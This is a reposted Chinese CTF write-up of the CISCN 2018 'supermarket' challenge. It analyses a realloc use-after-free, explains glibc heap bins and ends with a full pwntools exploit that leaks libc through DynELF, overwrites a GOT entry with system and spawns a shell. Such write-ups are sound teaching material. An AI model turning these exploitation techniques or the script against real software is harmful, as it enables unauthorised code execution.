CISCN-2018-Quals——supermarket分析

2023-12-12 20:59

本文主要是介绍CISCN-2018-Quals——supermarket分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

supermarket的题目分析

2020-02-01 11:26:17 by hawkJW


题目附件、ida文件及wp链接


   这道题实际上我们大体一看,就可以发现是于堆相关的题目,正好用这道题来学习内存的分配机制。这个分配机制是经过查阅的资料综合一些实验,经过自己的理解得出来的,如果有错误,希望各位师傅谅解!


1. 程序流程总览

首先,按照惯例,我们看一下程序开启的保护措施,如图所示

除了栈上不可以执行以外,其余的保护措施基本没有开启,因此该程序的保护措施还是比较松的。

下面我们来粗略的浏览一下程序的源代码来分析程序流程(ida文件已经经过优化,提高其可读性)

  

实际上,前两个程序并不是很重要,程序流程主要在第三个函数中,我们详细看一下

可以看出来,这是一个比较经典的菜单类题目,我们需要通过程序给出的6个功能 add()、dele()、lis()、changePrice()、changeDes()、exit() 来达到获取shell的目的

 

实际上,我们根据程序的名称以及所给的功能,可以猜到,这应该是添加、修改、删除货物的程序,因此我们需要首先获取货物是如何在程序中进行存储的,即货物的数据结构,我们可以在 add() 函数中分析出来。

通过printf中的各种提示内容,以及上下文,我们可以分析出数据的字段顺序、字段大小以及字段含义,基本如下图所示

因此,实际上,整个程序的数据的结构如下图所示


 2. 漏洞分析

  实际上,该程序的漏洞比较隐蔽,主要是位于 changeDes() 下面这部分代码

注意到这里使用了 realloc 函数,简单介绍一下 realloc 函数

char *realloc(char *ptr, unsigned int newSize) {unsigned int curSize;char *newPtr;if (ptr == 0) {return malloc(newSize);}curSize = Mem_Size(ptr);  //获取ptr所对应的实际区块的大小if (newSize <= curSize) {return ptr;}newPtr = malloc(newSize);bcopy(ptr, newPtr, (int) curSize);free(ptr);return(newPtr);
}  
/*  即如果newSize要比ptr对应的实际区块的大小还要大的话,只能先开辟新的空间,将数据转移后,释放掉久的空间其他情况的话,仍然返回初始空间
*/

 

也就是说,如果一旦程序代码数据有

size >= (*(&items + v1))->description_size + 2 * SIZE_SZ

实际上上面的 realloc((void *)(*(&items + v1))->description, size) 的函数就可以近似为

realloc((void *)(*(&items + v1))->description, size){free((*(&items + v1))->description);return malloc(size);
}

但是由于并没有及时的让 (*(&items + v1))->description 更新到新 malloc() 的内存处,因此, (*(&items + v1))->description 仍然指向已经被 free() 掉的内存,自然的我们此时仍然可以向 free() 掉的内存处写入数据(使用程序提供的 changeDes() )。这样子,如果我们再配合计算机的 malloc() 机制,将这个被释放的内存重新分配成一个货物,我们就可以控制该货物的所有参数,从而达到任意地址的读(通过 lis() 函数)、写(通过 changeDes() 函数),从而获取 shell 


 3. 漏洞利用

   知道了上述的程序漏洞后,就可以方便的利用该漏洞来获取 shell ,按照上面的漏洞原理,我们要做的是将free()掉的内存,记为货物A的描述,重新分配给新的货物,记为货物B,从而利用漏洞来达到对任意地址的读、写功能。

  分析程序知道,货物数据的大小为 0x1c ,由于这是32位程序,其分配到的实际块大小为 (0x1c + 0x4) align to 0x8 = 0x20 ,也就是我们需要让该0x20的大小货物B从free()掉的内存来进行分配,就可使用上述的漏洞。

 

  这里需要稍微简单的介绍一下的内存分配机制。实际上,malloc()将堆分为了 fastbin 、 smallbin 、 largebin 以及 unsorted bin 几个类型

  1.  fastbin

   fastbin 的大小从 SIZE_SZ * 4 开始,以步长为 SIZE_SZ * 2 开始,一直到 64 * SIZE_SZ / 4 为止。每一个大小由单向链表进行组织。

  2.  smallbin

  smallbin的大小从SIZE_SZ * 4开始,以步长为SIZE_SZ * 2开始,一直到 63 * SIZE_SZ * 2 为止。每一个大小代表着一个双向循环链表进行组织。

  3.  unsorted bin

  unsorted bin的大小没有什么特殊的要求,但一般的,其大小应该至少大于fastbin的最大值,也就是64 * SIZE_SZ / 4

  4.  largebin

  largebin顾名思义,其是相对于比较大的块,当然,且也进行按照大小进行了分类,但是不同于上面的分类,其每一个类内的大小是处于一个范围而非精确值。其范围宽度为32个64字节、16个512字节、8个4096字节、4个32768字节、2个262144字节,当然还有最后一个分组的范围宽度没有限制。

  上面介绍完了对应的几个块的类型,下面来说具体的机制。

  1. 分配

  我们首先要将申请的大小转换为对应的块的实际大小,即 max(SIZE_SZ * 4, (size + 8) align to (SIZE_SZ * 2)) 如果大小范围在fastbin范围之中,则首先直接到对应大小的单向链表中查询;如果没有的话,再在smallbin之中的对应的大小进行查找;如果还是没有的话,在unsorted bin中查找块的大小满足需求,则直接切割分配即可,如果没有切割剩余,则结束即可;若有切割剩余,将切割剩余的仍然放在unsorted bin中,将unsorted bin中的其余的块按照对应的大小分别放入smallbin或largebin中;如果还是不行,再在largebin中查找对应的块,即首先将所有的fastbin合并移入smallbin或largebin,如果对应的块的切分部分大于SIZE_SZ * 4,则将剩余部分放入unsorted bin;如果还是没有的话,则在top块(特殊块)进行分配;如果top块也无法满足,则使用mmap来进行映射。

  2. 回收

  如果块的大小在fastbin范围之中,将对应的块放入到对应的fastbin之中。如果块的大小不在fastbin的范围之中,则将物理上相邻的释放块进行合并,如果还与TOP块相邻,则合并入到TOP块中,否则放入到unsorted bin之中,如果该合并的块足够大,将会将所有的fastbin合并并再次放入到unsorted bin之中。

  总而言之,简单的回顾了一下内存的分配以及回收机制,现在回到整体上来——即如何让该0x20大小的数据,即货物B,从free()掉的内存,即货物A的描述来进行分配

  因为实际上0x20大小的货物B处于fastbin范围中,那么我们其中一个直观的想法是假如一开始 (*(&items + v1))->description_size 的值为 0x1c ,那么实际上将分配的货物A的描述的大小为0x20,如果此时我们令 realloc((void *)(*(&items + v1))->description, size) 中size大小大于0x20,则成功将其释放,如果我们在重新使用add()来申请货物B话,那么就可以申请到该被释放的空间,则完成漏洞的利用。但是实际上是有问题的,如果我们想修改货物B的参数,则需要使用changeDes()来修改货物A的描述,将realloc((void *)(*(&items + v1))->description, size)中size大小仍然设置为0x1c,就可以修改货物A的描述,也即货物B的参数,然而修改参数的函数稍微有些限制,如图所示

实际上其仅仅能最多读取 length - 1 字节的输入,也就是我们仅仅能修改货物B的参数最多前0x1b字节,而实际上我们真正想修改的是货物B的描述信息的地址,而其位置恰处于第0x19-0x1c字节。由于该限制,我们就无法实现任意地址的读、写。因此,我们需要换一个思路,既能满足上述的漏洞利用条件——货物B从free()的货物A的描述中来分配,同时可以完全修改货物B的所有参数。实际上,根据上面讲到的,我们还有另外一种思路,我们实际上,我们可以通过切割,即让货物A的描述释放后位于unsorted bin之中,而货物B的分配是通过分割货物A的描述,这样子,我们就不会出现上面的问题了,于是就可以利用该漏洞。

下面,我们大概描述一下漏洞利用中的结构变换,首先申请3个货物

add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')

记住,第二个就相当于我们之前提到的货物A,则其结构如图所示,

下面我们按照之前说的进行漏洞利用,从而构造一个货物B,其名称为‘4’

changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')

则其结构变为

下面的步骤就很简单了,主要就是通过 DynELF 来获取 system 函数的位置,从而完成漏洞利用

这里就不详细说了,直接放出完整的wp

#coding:utf-8
from pwn import *# context.log_level = 'debug'
debug = 1 if debug == 1:r = process('./supermarket')# gdb.attach(r)
else:r = remote('111.198.29.45', 56608)def add(name, price, descrip_size, description):r.recvuntil('your choice>> ')r.send('1\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('price:')r.send(str(price) + '\n')r.recvuntil('descrip_size:')r.send(str(descrip_size) + '\n')r.recvuntil('description:')r.send(str(description) + '\n')def dele(name):r.recvuntil('your choice>> ')r.send('2\n')r.recvuntil('name:')r.send(name + '\n')def lis():r.recvuntil('your choice>> ')r.send('3\n')r.recvuntil('all  commodities info list below:\n')return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]def changePrice(name, price):r.recvuntil('your choice>> ')r.send('4\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('input the value you want to cut or rise in:')r.send(str(price) + '\n')def changeDes(name, descrip_size, description):r.recvuntil('your choice>> ')r.send('5\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('descrip_size:')r.send(str(descrip_size) + '\n')r.recvuntil('description:')r.send(description + '\n')def exit():r.recvuntil('your choice>> ')r.send('6\n')add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')def leak_one(address):changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))res = lis().split('des.')[-1]if(res == '\n'):return '\x00'return res[0]def leak(address):content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)log.info('%#x => %#x'%(address, u32(content)))return contentd = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')r.interactive()

总结

  这道题主要考察了两个方面,一个是漏洞的查找——因为我对于 realloc() 不是很熟悉,所以找到这个漏洞点确实废了不少时间;另一个就是对于内存分配机制的理解,虽然我查了不少资料,但是总感觉还是查了一点意思。所以上面我写的内存的分配与回收步骤是按照我查阅的资料以及自己的一些理解和实验上写出来的,如果有错误,还望各位师傅理解!

这篇关于CISCN-2018-Quals——supermarket分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/485921

相关文章

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结

python中的与时间相关的模块应用场景分析

《python中的与时间相关的模块应用场景分析》本文介绍了Python中与时间相关的几个重要模块:`time`、`datetime`、`calendar`、`timeit`、`pytz`和`dateu... 目录1. time 模块2. datetime 模块3. calendar 模块4. timeit

python-nmap实现python利用nmap进行扫描分析

《python-nmap实现python利用nmap进行扫描分析》Nmap是一个非常用的网络/端口扫描工具,如果想将nmap集成进你的工具里,可以使用python-nmap这个python库,它提供了... 目录前言python-nmap的基本使用PortScanner扫描PortScannerAsync异

Oracle数据库执行计划的查看与分析技巧

《Oracle数据库执行计划的查看与分析技巧》在Oracle数据库中,执行计划能够帮助我们深入了解SQL语句在数据库内部的执行细节,进而优化查询性能、提升系统效率,执行计划是Oracle数据库优化器为... 目录一、什么是执行计划二、查看执行计划的方法(一)使用 EXPLAIN PLAN 命令(二)通过 S

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置